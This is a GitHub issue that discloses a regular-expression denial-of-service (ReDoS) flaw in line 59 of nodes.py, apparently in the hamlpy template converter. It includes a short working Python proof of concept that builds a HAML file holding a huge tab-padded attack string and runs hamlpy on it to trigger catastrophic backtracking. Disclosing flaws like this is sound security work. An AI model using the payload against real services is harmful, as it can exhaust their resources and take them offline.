Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

A ReDoS vulnerability exists in nodes.py #175

Open
DarkTinia opened this issue Jan 17, 2023 · 0 comments
Open

A ReDoS vulnerability exists in nodes.py #175

DarkTinia opened this issue Jan 17, 2023 · 0 comments

Comments

@DarkTinia
Copy link

DarkTinia commented Jan 17, 2023

The affected code is located in nodes.py-line59. It uses the vulnerable regular expression \\([#=]\{\s*(.+?)\s*\}). When the match fails, it will cause catastrophic backtracking.
I trigger the vulnerability using the python script below

import os
f = open("./hamltest.haml",'a')
f.write("#profile\n")
f.write("\t.left.column\n")
f.write("\t\t")
i = 100
f.write('\\#{'+ '\t'*1651*i + '\x00' + '\t'*1651*i + '\n\\}')       #attack string
f.write("\n")
f.write("\t.right.column\n")
f.write("\t\t#bio Jesse Miller\n")
f.close()
os.system('hamlpy ./hamltest.haml')

I can provide you a patch to repair the ReDoS vulnerability

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant